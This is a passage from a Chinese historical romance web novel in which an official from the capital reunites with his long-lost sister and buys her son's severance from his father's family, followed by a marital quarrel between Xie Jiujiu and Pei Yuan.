只有黄家能住,黄家一大家子没分家,黄海黄江黄河三个大老爷们总有朋友三四,家里一直都有一个小小的客院,收拾一下就能住人。 再加上拜帖上明明白白写着又是翰林院又是詹事府的,即便谢九九不知道哪个左中允到底是干嘛的,也不妨碍她理解关如琅是个身份显贵的大官。 翰林院啊,里面全是状元榜眼探花,是个顶顶清贵的衙门,里面的人以后都是要当大相公的人,这也是裴元当故事一样说给谢九九听的。 这样的人中龙凤芝兰玉树来容县,过不了两天县衙的大老爷二老爷肯定要来拜见的。让关如琅住到黄海家里去,黄海不就跟着在老爷们跟前露脸了。 别以为衙门里的胥吏就高枕无忧,黄海只是县衙户房里的文书吏(攒典),也就是六房里的副手。 户房里有四个跟黄海一样的经制攒典,还有七八个非经制攒典连正式的胥吏都算不上。这些人对外都是户房的胥吏,对内有关系好的就有关系不好的。 这些事黄海或许瞒着家里和黄娟这个妹妹,但从来不瞒着谢九九。 因为谢九九是做生意的人,家里还有那么些田产每年要交赋税,跟户房和衙门打交道,再是有他这个舅舅在,那也不能什么都不懂。 要是黄海这一次能占上关如琅的光,以后不说升职做户房的司吏,单单有这层关系在,衙门里两个二老爷应该也要对他更客气些,其他胥吏就算不巴结他,也会愿意各个都跟他交好。 这些年黄海这个大舅舅对自家帮衬得够多了,这种小鱼小虾沾一沾龙王爷的龙气扯来做大旗的事,自己能帮当然要帮,再说本也是姻亲,招待人家住在家里没什么不对。 “客随主便,谢老板这么安排,本官和本官的家人仆从们自然听安排。” 关如琅长得很文秀,即便是人到中年蓄了须也丝毫不显粗粝。从进云客来到现在,直到这会儿才显出几分官威来,示意谢九九他知道谢九九是想要干什么。 不过即便知道关如琅也愿意住到黄家去,他今日跟谢九九说的每一句话都是真,没说出口的另一半来意也恰恰就是谢九九心里的猜测。 关家人的心都细都谨慎,关家要认关氏就必定要认裴元,认了裴元就自然而然跟谢家成了姻亲。 关如琅和关家没想过欺行霸市非要强迫外甥和离,姻亲是商户没关系入赘也不是大事,但他也要确定谢家是个正经人家,不会因为裴元一招变了身份,就也跟着得意忘形。 是个正经人家,外甥入赘也就入赘了,等日后考取功名全家一起去了京城,只要裴元在官场有靠山,是不是入赘也不过是茶余饭后的一个谈资。 谁家没有些供旁人说嘴取笑的腌臜事,只要不当面说到本人脸上就没人会计较。有时候就是越高门大户,家里的事情越见不得人,关如琅早习惯了。 所以这会儿谢九九主动让自己住到她舅家去,关如琅自然愿意。娘亲舅大,仔细观瞧黄家的为人处世也能从侧面看出来谢家的家风。 见关如琅点头答应,谢九九立马派人去衙门里找黄海,一边让人去车马行租了几辆最贵的马车过来。人家是大官 ,总不能叫人带着这么多小厮护院走着去黄家。 “按理说,谢老板该跟裴元一起喊我五舅,怎么还一口一个关大人的,太生疏。” 马车到了,关如琅跟着谢九九往楼下走。说实在的,谢九九不管是模样还是本事都是一等一的好,要不是外甥是入赘,他都想不出这桩婚事有什么不好的地方。 况且他都还没见过自己的外甥,说不定外甥在模样性情上还配不上眼前这个谢老板。 “关大人为人做事谨慎,我家那位读书人做事为人也小心。”不光小心,还小心眼! 谢九九又不是云英未嫁的姑娘,这几天没收到裴元的回信她就大概猜到了,裴元肯定是故意在跟自己较劲儿,气自己这么久没去府城看他,正拿乔呢。 “这件事说到底是关家的事,跟裴元有关,和裴家也拉扯不开。 而我只是裴元的妻子,他还不知道关大人此次过来的心意和打算,我又怎么好代替他先认下您这个舅舅,还是再等等吧,是一家子就是一家子,早几天晚几天又有什么区别。” 谢九九也是在隐晦的跟关如琅说,虽然我现在想着舅舅借一借你的势,但远近亲疏的分寸还是懂的。不用担心谢家会贪图什么一人得道鸡犬升天,亲戚就是亲戚,也只是亲戚。 “谢老板是个妙人,妙人啊。” “多谢关大人夸奖。” 关如琅被黄海带回了家,黄家虽热情待客但也并不显卑微谄媚,只把关如琅当做裴元的舅舅招待。 黄海还挑了几件裴元在衙门里当差办事的事说给关如琅听,好让他这个舅舅能知道裴元这个外甥,是个能干人也是个有本事的。 关如琅听得津津有味,从刚开始围绕裴元打转渐渐地就说到县衙里的事情上去,关如琅在岭南长大过过苦日子,黄海又是个八面玲珑跟三教九流都能打交道的。 两个跟着关如琅住在黄家的小厮和护院,就这么眼睁睁的看着自己心里光风霁月宛如谪仙的五爷,酒越喝越急话越说越密,到最后都跟那黄家大舅勾肩搭背称兄道弟了,哪还有什么慎独的样子。 关如琅在黄家歇了一晚上,次日带着早就准备好的礼物去了谢家。而另一边,府城里好几家人却都乱了套。 替关如琅送信的人是昨天从容县出发,今日一早就进了府城,找到小院的时候,院子里正热闹着。 裴元要带关氏回容县过节,两天前就带着谢文济回了小院。 这两天家里都在准备东西,裴元压根就没打算再寄什么回信,他心里憋了一肚子话要跟谢九九说,非得自己回去不可。 乍一听来人说关家五爷从京城过来,不到府城却先去了容县,一向四平八稳极有主见的裴元一下子就慌了。 “娘!快走,快些出发,咱们今天就去县城。” 到底夫妻同心,谢九九见到关如琅就猜测他是来容县想要自己跟裴元和离的,裴元此刻心里也就是担心这一遭。 他害怕关家心疼女儿不会为难母亲,就迁怒嫌弃自己入赘谢家,这会子不来府城直接去容县,是要解决自己入赘的事情。 他更怕谢九九这个天下第一大俗人,真的会听了关家的哄骗跟自己和离。 “好好好,我们这就走。”关氏当年被留在岳州的时候已经九岁了,大户人家九岁的姑娘已经开始懂事了。 大户人家最要脸面,关氏已经许多年没有没跟家里人见过面,这次来的又是当年才五岁的弟弟,他们心里要是真的觉得裴元入赘失了体面,会做什么还真的不好说。 而另一边的裴家,在知道官拜詹事府左中允的关如琅亲自来岳州接姐姐回京,还先去了容县拜会谢家以后,裴老三第一个就从椅子里跌落下来。 他是被吓的,关如琅宁愿不论身份贵贱去一个商户人家论姻亲,也不想跟裴家扯上关系,这得是多厌恶自己。 但再厌恶,知道了关如琅在容县他也只能赶紧带着蒋氏,和刚从高州回来的母亲一起匆匆忙忙往容县赶。 而其他接到关家拜帖的人家,还有一个也不顾马上就要过中秋,马不停蹄的出城往容县去,则是做厌了院监还是更想当个大人的李骏。 给府城送消息的关家小厮分得清主次,第一个先去关氏的小院,关氏和裴元的马车自然踩着黄昏的太阳第一个先回了谢家。 要不说关氏还是见过世面经历过事的人呢,关家五爷的消息来得这么突然,几路人马都是急匆匆地从府城往县城赶,只有关氏着急之余还没忘了自己给亲家准备的东西。 茶叶布匹月饼每样都备了不少,另外还有几个剔红的攒盒。 有两个里面装的是各色十二样精致点心,另外两个装的蜜饯果脯和各色干果,还有两个攒盒里头装的是金华火腿、熏鱼和酱鸭酱鸡。 东西算不得多贵重,但能看出来是用心准备的,被关家五爷打了个措手不及的黄娟看见关氏和她带来的东西,一直有些紧张的神情终于缓和了一些。 “是亲家母吧,可算是见着您了。我们九九回来一个劲的跟我说您为人和气长得又好看,是她运道好才遇上这么好的人家。” “亲家太太这话太客气了,是我儿运道好才能得了九九这么个好妻子。我是个不中用的,儿子来了容县就没管过,他如今能安心读书,都是九九和咱们一家子的缘分。” 第45章 第45章你们怎么才来 关令仪严格来说还没嫁人,唤她夫人娘子并不合适。 再说裴三太太另有其人,这一路裴家的马车都紧紧跟在关氏和裴元后面,关氏进来没多会儿裴家的人就也到了。 站在前院里甚至都能听见裴老三的吆喝声,又是嫌关氏的马车堵着他的路了,又是高声叫嚷老夫人什么的,好像这次来的人还不止他一个。 谢九九冲裴元挑眉,裴元冲谢九九微微摇头示意他也不知。他这一路光着急关如琅为什么先来容县的事,心里把谢九九会不会给自己写和离书想了八百遍。 一下子觉得谢九九这人俗气得很,能捞着自己这么个前途无量的女婿肯定不会轻易放手,一下子又觉得她既然俗气就肯定不会跟关家杠着来。 谢九九喜欢自己,但也没那么喜欢自己,这点自知之明裴元还是有的。他就怕谢九九嫌自己麻烦,干脆写了和离书了事。 反正现在云客来在她手里,谢家再怎么也要不回去了。她就是还在再招一个女婿也可以慢慢的寻,寻个几年难保寻不到合心意的人。 到时候只见新人笑哪闻旧人哭,自己这个前夫是好是歹她哪里还会记得! 心里想着这些,裴家的马夫好几次扬声想要喊住前面裴元的马车一起进县城他都没听到,现在哪里知道自己那不争气的亲爹又在外面嚷嚷什么。 裴元不想管裴老三,又抛了个询问的飞眼还给谢九九,那意思是问谢九九关如琅昨天来县城是干嘛的,跟你说了什么,是不是要你跟我和离,你同没同意和离的事。 总之一个眼神里包罗了百般哀怨千般愁肠,看得谢九九忍不住打了个激灵,手臂连同后脊梁骨都窜起一串鸡皮疙瘩,立马就狠狠瞪了一眼回去。 一个眼神就问问问!问那么多自己怎么答,眼睛都要抽筋了也说不清楚啊! 那边两个亲家在寒暄 客气,这边一对小夫妻眉来眼去的不像话。还是老吴叔在影壁外喊了一声,让两人去门口帮忙,这才让裴元捞着跟谢九九说话的机会。 “关家那位五爷为什么先来容县,他来家里跟你和娘说什么了,是怎么个打算。” “你急什么啊,人家关家这回可真是为了要把娘接回去的,你等会儿好好说话啊。” 绕过影壁,和大门之间还有几步路。门外裴老三叽叽歪歪个没完老吴叔又出去了,趁着没人谢九九赶紧把关如琅的打算跟他说了个清楚明白。 “他昨天才到容县,就立马派人往府城去传递消息,按说那个时候他应该都没到云客来。 这就说明不管我昨天表现得如何,谢家是不是符合他心里安分懂事的姻亲标准,他都准备按照你说的光明正大把娘接回去。” 没有谁能够做到十全十美,谢九九并不在意关如琅所说的关家那些苦衷和缘由,谁家还没点苦衷了,自己要没苦衷能招赘吗。 但不管人家心里怎么想,关氏和裴家都这么大张旗鼓的来了,那现在府城关于关氏的出身和关家要把人接回去的消息应该也散播出去了。 “论迹不论心,论心无完人。等会儿进去态度好一点儿,娘这些日子嘴上没说,心里还不知道多煎熬,到底是亲娘亲兄弟骨肉,哪能不想认啊。” “嗯。” 裴元牵着谢九九的手,低头沉默听妻子絮絮叨叨说话。一直等到她把该说的都说完了,才不放心的追问了一句,“那他说没说我给你入赘的事。” “怎么?想你舅舅帮你出头,从我这儿要和离书走啊。” 谢九九抬头去看裴元,明明分开没多久她还是觉得裴元瘦了,连下颌角都比之前自己从府城回来的时候更锋利。 “书院里的菜不好吃吗,怎么还瘦了。” 前后两句话说得风马牛不相及,裴元的心情也跟着从谷底攀到山巅。他故意忽略前面那一句话,“书院里的菜没家里的好吃,你寄过去的辣肉酱被老师吃了大半,我就捞了个底。” 裴元一脸控诉,就是不接自己问他是不是要和离书的茬。他可不能让谢九九知道自己这一路在担心什么,知道了还不知要在自己跟前怎么得意。 好在门外老吴叔等这俩人等不到又从门口进来,看见两人站在影壁那边嘀嘀咕咕不知道说些什么,“姑爷,您赶紧过来瞧瞧,这、这这……” 裴老三就在门口,难听的话老吴叔不好说,但他实在受不了裴老三那颐指气使的劲儿,只得再次催促裴元去应付他亲爹。 裴元和关氏身体都不差,从府城到县城马车一路疾驰也不觉得有什么。 倒是蒋氏这些年一直养尊处优,裴老三又被酒色掏空了身子,再加上一个年近七旬的二老太太,这一路过来三个人都被颠簸得够呛。 二老太太让人打开马车的门,坐在车厢里通风透气说不出话,蒋氏从马车上下来扶着马车脸色苍白,连声使唤丫鬟让丫鬟去里头搬椅子来,让她坐下歇一歇。 还有个裴老三脸色也不好看,脸色蜡黄衣裳皱皱巴巴跟腌酸菜一样,也不知昨晚上又在哪个外室那里折腾半宿,现在整个人都浮肿得很。 裴家的马车大又宽,他们方才嫌关氏的马车堵在门口碍事,其实人家租的马车拿到工钱以后马上就从巷子另外一边走了,现在挡着路的是他们。 大下午的门口的巷子被他们堵得就剩一人宽,街坊四邻来来回回都得侧着身子,有那挑担子的货郎走近了发现过不去,还得掉头绕路从别的地方走,真真烦死人。 只有裴老三不觉得自己烦人,站在马车前不进门,老吴叔催他把马车拉到后院去他只当没听见。 直到裴元出来了,他才挺了挺腰杆摆出一副‘威严亲父’的样子,抬手招揽狗儿一样想把裴元叫到自己身边去。 裴元才懒得惯他这个臭毛病,站在门口石阶上手指着两个车夫,“别在这里堵着路妨碍别人通行,从前面走往右拐绕到后院去,后院有停马车的地方。” 裴元才不管什么二老太太不二老太太的,他这辈子从出生起也没见过什么老太太。她乐意坐在车上就坐,去后院坐着坐到天黑也没人管。 裴老三的母亲姓燕,燕氏这几十年都跟着裴二老爷在任上,从娘子到太太再到二老太太,人家已经当惯了老封君。 这次跟着儿子来容县,是想要好好跟关家商量着把事情解决,但是也不由自主的就想摆谱。 马车里不如外面舒服,为什么不从马车里下来?这是等着谢家和关家五爷出门来迎一迎她这个长辈呢。 可谢家和关家谁又拿她当长辈了,裴元甚至还故意装作压根认不出燕氏是谁的样子,硬生生把裴家想要撑起来的牌面气场给戳破了。 裴元给马夫指了路,承平已经准备上前赶人了。老这么把马车堵在门口算怎么回事,这也是大户人家的做派,忒的讨人嫌。 见谢家并不殷勤,蒋氏的脸色有些讪讪不好看。再看裴元俊朗挺拔站在台阶上眼睛微微往下俯视裴老三的样子,心里那点不得劲就更大了。 要知道她生的两个儿子,平日见到裴老三都一副恭敬顺从的模样,裴元一个外室子凭什么这幅做派,还不是添上掉下来一个大馅饼正好砸他头上了。 心里忿忿不平脸上也不好看,走到后面的马车旁把自己婆婆从马车上扶下来时表情自然也好不到哪里去。一对常年不在一起生活的婆媳,互相看着都不怎么顺眼。 但显然裴老三现在没空管妻子和娘,他径直走到裴元身前,“关家的五爷真的来了?” “父亲若不信不如自己进去看。” 来了就进去,要迎是没人迎了。不过要解决事情还少不了裴老三,裴元也没过分奚落裴老三,而是让出一条路让他自己进去看。 另一边,谢家前院里没人在意裴家的人在门口拖拖拉拉这么久到底在干什么。关如琅站在众人后面,就这么安安静静的看着关氏跟谢家的人寒暄客气。 一直以为这些年、这一路早已经做好了心里准备,即便真的见到姐姐也不会失态的关如琅,此刻看着三十三年不见的姐姐却不禁红了眼眶。 他并不是经常想起这个姐姐,更多的时候他都认为这个姐姐十有八九不在人世了。 只有逢年过节的时候偶尔会放纵自己胡思乱想,自己那个流落在外的姐姐,是不是还活着,要是还活着的话该是过的什么样的日子。 可想得再多也不如亲眼看见,见到了记忆才被打开了尘封的门。 他想起才三岁的自己,不知道跟谁家的小孩儿因为什么争执起来。 前因后果都不记得了,只记得那小破孩子非说关令仪是他姐姐,急得关如琅直跺脚,憋红了脸一个劲的冲着那孩子说姐姐是他的! 后来吵着吵着,不知道怎么俩小孩就往关令仪的院子里跑,才三岁的关如琅腿短又没跑赢那个小破孩儿,亲眼看着那孩子往自己姐姐身上扑,哎呀哭得那叫一个凄惨啊。 还是关令仪偏袒自己弟弟,只肯抱着关如琅哄他,自己是他姐姐不是别人的姐姐,哄了一下午许了无数个愿,又把自己的荷包手串都给了关如琅,才把这个小哭包给哄好。 多年过去,荷包和手串早就遗落在关家被抄家的时候,甚至连关令仪和关如琅也在人生里走散了几乎半辈子。 现在再相见,关如琅仿佛又成了那个三岁的小孩,他最强悍的耐心就是一直等着关氏跟黄娟寒暄客气完,才踉跄了两步又停住,喏喏呢喃着喊了一声姐姐。 关令仪又怎么可能没看见关如琅,她一前院就看见了,哪怕眼前这个面冠如玉儒雅文秀的中年人身上早已找不到五岁弟弟的影子,可关令仪知道,那就是自己的弟弟。 只是她有些害怕,自己什么身份人家什么身份,莫名的自尊心让她不敢认,只能强逼着自己只作为裴元的娘跟黄娟寒暄说话。 好像这样就能告诉关如琅,自己也是个正常女人,有儿子有亲家,不止是一个被人豢养了几十年的外室,自己没有那么不堪。 直到此 刻她听见关如琅的这声姐姐,再也抑制不住一直强压在心里的情绪,那些没法跟关家两个管事宣泄的情绪,全都涌向了关如琅。 “你怎么才来,你们、你们怎么才来!”关令仪踉跄着上前一把揪住关如琅的衣袖,“你们、你们怎么不早一点找到我,为何不早一点。” 第46章 第46章闲着也是闲着,不如吵一…… “两个管事把信寄回去,我既盼着家里有人来接我,又怕家里觉得我这人心窄。可我实在是没法子,我要就这么走了元哥儿的日子就过不成了。” 关令仪听关如琅说家里老母亲接到信之后哭得死去活来,心里当然不是滋味,一时间垂着头不敢去看关如琅,好似自己怎么做都不对。 “姐姐又何必说这样外道的话,严管事寄回去的信写得清楚明白,家里当初没嘱咐出口的话也的确就是外甥说的那般。” “若是姐姐的处境不好,就想法子先把人带回来,人回来了后续的事情怎么处置自然简单。 我和大哥当时都是这么想的,却忘了姐姐这几十年的日子,再不好过也是一日一日这么过来的,哪能说走就走。是家里自私,光想着府里没想着姐姐。” 都是大人了,抱头痛哭过后姐弟两个坐下来把这些年的话说清楚,有些对错是非也就不那么重要了。 关如琅能来,就比嘴上说一万句好话都强,之前严管事和韦管事闹出来的那些不愉快,都好似一阵风吹过算不得事了。 姐弟两个在里间团聚,外面裴老三、蒋氏连带裴家的二老太太都显得有些坐立不安。 方才在院子里,裴老三走在前面先绕过影壁,正好碰上关家姐弟俩泪眼执手相对,黄娟和芝娘站在一旁一副要被感动哭的样子,关家的管事小厮更是一个个红着眼,恨不得替主家大哭一场。 这么个场景下,把关氏当外室养了几十年的裴老三站在院子里,就显得格外刺眼格外尴尬。 等到关如琅连一个眼神都没给裴老三,搀着关令仪转身往屋里走,错后两步跟过来的蒋氏和二老太太也觉得这院子的地都烫脚,竟是有些站不住。 黄娟看着来人,再看看跟在三人后面回来的女儿和女婿,哪还能不知道这是谁。 可裴老三已经把裴元过继出来,蒋氏就是想摆一摆嫡母的款儿这会儿也拿不起那个架子。 两家人面对面站着愣是不知道该怎么打招呼,黄娟刚认了个亲家母,总不能这边也是亲家母。只能含混着点头示意,“来了啊,快快快里边请,有什么话坐下来说。” 裴老三和蒋氏对视一眼,这态度要说不好那肯定不是,就是怎么这么像去饭馆吃饭的时候能听见的。 等进屋坐下来,端起茶喝过一口,再去看坐在上首右边的黄娟,和坐在对面的谢九九与裴元,两人才想起来可不就是去饭馆才能听见,这谢家本来就是开饭庄的,这是真把自家当外人客气了。 想明白了这点,裴老三和蒋氏就更尴尬了。倒是被黄娟让到上首左侧尊着的二老太太混不在意,她这些年都不在高州,儿子做错了什么跟自己关系不大。 这次回来,是裴二老爷发了话,一定要压着老三把关家的事情处理好。关家想怎么办就怎么办,不要啰嗦不要犹豫,关氏哪怕说明天就要走都行,只要别得罪了关家。 二老太太在高州身边有儿有孙,说实在的对裴老三这个儿子,心疼有但也就那么点儿,眼下更多的反而是厌烦,奔七十的人了还得替四十多的儿子擦屁股,除了丢人燕氏想不出别的心情。 好在这样的尴尬没有维持太久,痛痛快快哭过一长的关令仪很快就收拾好心情,被关如琅扶着从里间出来,在裴元和谢九九身旁坐下。 这让屁股都从椅子里起来一半,看那样子是想要去接关令仪的裴老三站也不是坐也不是,还是蒋氏见不得他这幅没出息的样子,没好气地扯了扯丈夫的衣袖,才让裴老三顺势坐下。 前院厅堂就这么大,用不着再分什么尊卑,关如琅捡了他姐身边的椅子坐下。坐下之后也没跟裴老三客气,直接就把关家的来意给说了个明白。 “我三姐和外甥这些年别居岳州,一应花费裴三爷说个数,您说多少就是多少关家都认。你我两家之间了了这笔账,以后就互不相关了。 之后裴家子侄后辈若有考试去京城的,有什么为难的事情也可以找关家。只要不是违反律令和道德,关家能帮的不会推脱。” 裴老三和蒋氏一听关如琅主动说愿意帮衬裴家子侄,眼睛都不由地一亮。但转过头来再一细琢磨关如琅的话,裴老三的脸色蓦的难看下来。 “关大人这话的意思,是要拿银子买了关氏和裴元的这些年。” “裴三爷这话说得不对,不是买,是还。” 关令仪关家是一定要接回去的,要是没有裴元关家甚至连帮衬裴家子侄这个人情都不会给。 但裴元从出生就在岳州长大,老师同窗生活习惯甚至行文下笔都已成了习惯,贸贸然把他的原籍迁去京城对他来说不见得是好事。 可要把外甥留在岳州,就得从根上跟裴家脱离出来的同时又不能完全得罪了裴家,要不然关家再势大毕竟隔得远,到时候有什么事情鞭长莫及,想帮也来不及。 院试和乡试都绕不过府城,裴家在岳州经营几代人,总有跟裴老三关系好的人,不能叫他们坏了裴元的事。 关家可以接受一个父不详的孩子,但不能忍受关令仪和裴元的下半辈子还要跟裴老三这么个玩意儿有什么牵扯。 所以最好的处置办法,就是对外统一口径,关家三小姐令居岳州多年,如今家里母亲病重被娘家接回京城跟老母亲作伴尽孝。 儿子裴元过继给容县裴雨伯为嗣子,留在容县备考来年的科举。 至于裴老三?裴元本就过继出来了,现在关令仪和关家又不认这么个人,即便大家心知肚明是怎么回事,可只要关家还得势一天,裴老三就没法去强行逼迫关令仪再认下这些年给他做过外室的事情。 要是关家不得势了,到时候踩上来的也不止裴家一家,没什么大不了的区别。至于裴老三愿不愿意并不重要,蒋氏和裴二老太太会帮他答应的。 从京城出发之前,关如璋专门去了一趟吏部考功清吏司,找到了裴家二老爷的大计考评,明年就要满七十按道理必须要致仕的裴通判得的考评不过一个中下。 再要升迁是绝无可能,能安安稳稳在通判的位置上致仕已经是最好的结果。 本朝的官员六十岁以后大多调到闲职上养老,裴二老爷一直想要自留在高州做通判,还不是因为子孙后代不争气。 裴老三的大哥是个举人,前些年考进士连着考了十年没考上,才凭借亲爹的关系在高州隔壁的府城底下的县城,谋了个县丞的官职。 那地方虽不归高州管,地理位置却是跟高州治下的县城紧挨着。说到底裴家二房的大爷这些年小日子过得滋润,还是因为有亲爹的庇护。 老二连举人都没考上,就在高州治下的一个县城里做了户房的书吏,因管理钱粮、田赋册籍油水颇重,要是哪天裴家二老爷致仕回乡,恐怕他连一个书吏的位置都保不住。 至于裴老三?就更没什么好说的了。家里三个儿子没一个有出息的,眼看着整个二房要家道中落,突然关如琅抛出这么个胡萝卜出来,蒋氏和燕氏都一定会答应。 不光会答应,以后的日子还会尽力约束裴老三不给裴元和谢家找麻烦,只有这样等到裴家真有求到关家的时候,关家才会真的搭 把手。 所以当关如琅抛出这么个诱人的大饼之后,蒋氏便死死攥住裴老三的胳膊,手掐在他手臂上不让他再说话。 已经老迈得满头银发的燕氏则从关如琅点点头,“关大人大义,关氏这些年在府城过得不算好,是老身放纵儿子所致,要说算钱实属不必。” “我儿子是花了银钱,关氏这些年白白浪费的青春年华却也不是一文不值。只盼日后我家儿郎真有幸去京城赶考,遇上了难处大人拉扯一把,就千恩万谢了。” “一码归一码,我说出口的话自然算数。银子不好算就不算,这匣子里拢共一万两银票,老夫人收下,今日出了这个门,往后您家三爷在外面该怎么说,不必我再多言。” “好,既然关大人给了,那老身就收下了。”燕氏知道,自己不收关如琅不放心,收了银子以后自家三儿子跟关氏和裴元就真的一点关系都没有了。 “不知关大人何时……” := “老太太,时辰不早了,今日就到这儿吧。” 关如琅又怎么会跟裴家的人说自己什么时候走,燕氏做主收下这匣子银票,关令仪和裴元就跟他裴老三再没有半分瓜葛了。 至于坊间如何传言,如何说关氏和裴元这一出是掩耳盗铃都不重要。只要能把裴元从裴老三身上撕扯开,让他不敢动不动就拿自己是裴元亲身父亲来摆谱,其余的都是小事。 裴老三亲眼看着母亲收下银票,整个人都颓了下来。 在他心里关氏就是这辈子都得依附自己才能活下去的一个小小外室,裴元这个儿子也是一样。 过继出去了又如何,人伦法理摆在这里,自己这个当老子的哪天不痛快了,就能整治得裴元乖乖听他这个老子的话。 现在呢,几十年闹了个鸡飞蛋打。裴元这个儿子人人都知道是自己的,偏偏过了今日就再不能提了。关氏?关氏他是看都不敢多看一眼。 以前只觉得关氏那副大家闺秀的做派能极大程度的满足自己的虚荣心,此刻才发现这玩意儿跟自己压根没关系,这么些年人家看自己恐怕就像看个小丑一般。 关氏与弟弟相认,裴元又彻底跟裴老三断了亲,自然是件大喜事。 送走裴老三一家子,关如琅没有再跟黄大舅回去,晚上就歇在谢家前院的客房里。裴元回来了,关如琅又是亲舅舅,没有什么好避讳的。 谢芝娘把后院的东厢房腾出来给关氏,抱着枕头被子去跟黄娟一起睡,家里能住的地方正正好好够分,关家几个管事则带着人主动回客栈去。 虽说是住在谢家,但关氏这一晚睡得格外踏实安心。外院有儿子和亲弟弟,哪怕是在别人家做客,她也觉得比府城的小院子强百倍。 关如琅就更是脑袋一沾枕头就睡着了,出门前心里还想着说今年不能在府里过中秋到底不美,现在只觉得能在这小小的宅院里跟姐姐一起过中秋,着实是一件喜事。 该睡着的都睡着了,睡不着的自然还醒着。 前院东厢里裴元和谢九九坐在卧房的罗汉床上,一人占了一边中间隔了个小方几,两人都冷着脸。 裴元大半个身子都侧向一边背对着谢九九,谢九九叉着腰拧着跨没好气地瞪着裴元不说话,两人分明就是已经吵过一架了。 第47章 第47章你可是嫌我?! 明明今天都是好事情,小夫妻又是正经的小别胜新婚,怎么就莫名其妙吵起来,两人心里也是一个比一个更冤枉。 晚饭摆在后院,一大家子人加上关如琅带来的人,干脆把饭都摆在院子里。 三大桌本地特色土菜加上谢九九把谢德昌存了好些年的酒也挖出来三坛子,人人都夸谢家这手艺好,关如琅更是连着说了两次,要是这手艺去京城开个岳州菜馆,一定能赚个盆满钵满。 这话谢九九没接茬,黄娟和谢文济都当做没听见。 谢芝娘偷偷喝了谢九九酒杯里的酒已经成了一只小醉猫儿,只会趴在黄娟腿上傻笑,一点儿也看不出她平时是一个总板着脸一本正经的小姑娘。 倒是关氏因为处理好了自己和儿子的事,对岳州一点不舍之情都没有。见谢九九不提以后去不去京城的话,便不动声色接过弟弟的话茬,问他准备什么时候启程回京。 当着裴家人的面不好说话,现在就没什么不能说的了。 过完中秋天气就该冷下来了,京城虽不至于像辽东那样冷得邪乎,但从容县走水路和官道交替,最快也要一个月余才能到。 最好是过完中秋能尽快上路,争取十月之前到京城。往年京城的初雪都在十月下旬到十一月上旬,裴元到了京城总要待上半个月,亲眼看着关令仪在关家确实过得不错,他才能回来。 “到时候元哥儿陪着姐姐住半个月,趁着京城没下雪就得往回赶,那时候运河没上冻还能走,顺利的话年前能到家。” 明年二月裴元要下场考试,赶在年前回来修整一段时间,把状态调整过来才好上考场。容县乃至岳州在关如琅眼里都太偏僻了,这个外甥不能一辈子待在这里。 关如琅方才提起去京城开店也不是妄言,现在外甥去不了京城但不代表以后去不了。 谢家现在和和美美是真,但往后谢文济是要长大的。过几年谢文济到了说亲的年纪,谢九九这个留在家里招赘的大姑姐是不是会碍人家的眼就不好说了。 真要那样就不如分家另过,入赘是入赘,但裴元和谢九九照样能去京城,到时候外甥不管是留在京城还是有机会外任为官,前程都比留在容县要好。 县试是每年二月,本来谢九九掰着手指头算,觉得离明年二月还有半年时间早得很,被关如琅这么一说才发现时间压根不够用。 等散了席回房,谢九九便开始着急给裴元收拾行李了。 越往北走越冷,谢九九打开衣柜越看越发愁,怎么就忘了给裴元做两件貂皮里子的直裰和氅衣。这世道到底是先敬罗衣后敬人,要去京城总不能只穿蓄绵的夹袄直身。 还有皮靴也该准备两双,还有耳罩手筒皮帽子,都说北方的冬天冷起来能冻掉耳朵脚趾,这要是真的把自己好不容易找来,秀色可餐的丈夫冻掉个耳朵那多难看啊。 “这事怪我,怪我光顾着云客来的生意了。幸好这阵子赚了些钱,后天才中秋,明天我们去成衣铺子里看看,加急定做几件衣裳吧。” 谢九九从小被谢德昌宠爱,并不是个拘泥迂腐的人,要不然也不会主动要求不嫁人留在家里招赘。 可她到底是个女子,从小就听着女子应该三从四德、生儿育女、孝顺公婆、料理家事、贤良淑德的话长大。 虽然她自觉自己除了生孩子以外,其余的可能一样都做不好,但这会儿多少还是莫名有些心虚。 她看向坐在罗汉床上,从进了卧房眼睛就一直黏在自己身上,好似自己腰肢往哪边扭都被他瞧得一清二楚的裴元,干脆拿过这段时间的账册子,仔仔细细给他看。 一是同他炫耀炫耀,让他瞧瞧这段时间字自己回来赚了多少银子。二是要他放心,家里不缺钱用,什么皮袍子她谢九九也买得起。 偏裴元的心思压根不在这个上面,谢九九能赚钱会赚钱,这事裴元从不怀疑。她不光能赚钱还极会哄人,要不然自己如何被她哄得恨不得日日夜夜同她黏在一起,时刻都不分开。 “现在做皮袄是个什么价。” “狗皮的里子十两银子顶天了,狐皮和狼皮的贵些,怎么也得三十两上下。我们做得急,手工钱还得多给一些。” 云客来以前生意最好的那一年拢共赚了五百两还差一点儿,一件冬天的直裰加上人工得花三十两,三十两能买三十余石稻谷,这可真不便宜。 “那明日娘子跟我一起去,我也给娘子买一件皮袄,外衬选湖绸的,颜色要艳一些正一些,才衬得上你。” 裴元不动声色捏了捏自己的荷包,要不说府城赚钱比县城来得快呢。 就这么一个来月的时间,他就已经靠给人代撰墓志铭赚了二十两,再加上他功课学得踏实,还能代先生们批改八股文,一个月下来也有十来两银子的收益。 这些进项还都是旁人捧着银子去书院找自己,用不着像是在县城的时候,自己哈着腰往衙门和各处找钱去。 人嘛,总是想过好日子的。嘴上心里说得再好,在县城这几年成长了学会了,看过了民情尝过了世事艰难,是难得的好事。可有轻省的银子赚,谁又是生来爱吃苦头的。 “我不用,容县冬天冷不了多久,我去年刚做了两件狐皮的袄子,一件竖领的一件对襟的,不穿吧冷穿了又热,过完年没几天就收到箱笼里懒得穿了。” “再说了我就是要做衣裳也不着急,到时候看中了料子买回来,我让江妈妈给我做。” 成衣铺子里的手艺再好,也不如江妈妈。从小打到家里三个孩子贴身的里衣一大半都是江妈妈给做,谢九九都穿不惯别人做的衣服。 “怎么不急。”裴元接过谢九九手里的账本放到一边,尽量摆出一副无辜又理直气壮的模样,“要不这次去京城,你跟我一起去吧。” “啊?!” 两人虽从未明说过,但一直都有默契。谢九九照顾云客来的生意,裴元努力读书赶考早日考取功名,两人分工合作一起朝着更好的日子奔。 关氏是亲娘是亲婆婆,即便心底顾忌裴元去了京城,被繁华都城迷了眼乱了心再不回来,她也从未想过不让裴元送关氏去京城。 但为何自己也要跟着去?这一路多颠簸要多花费多少银子都不说了,云客来刚有些起色自己如何走得开。 入冬以后的特色菜都没定下来,到了冬季鱼虾少了价钱归了,炸货的档口还得想想别的新货补上。越往年尾走生意只有越来越忙的,这个时候要自己去京城,这不是添乱吗。 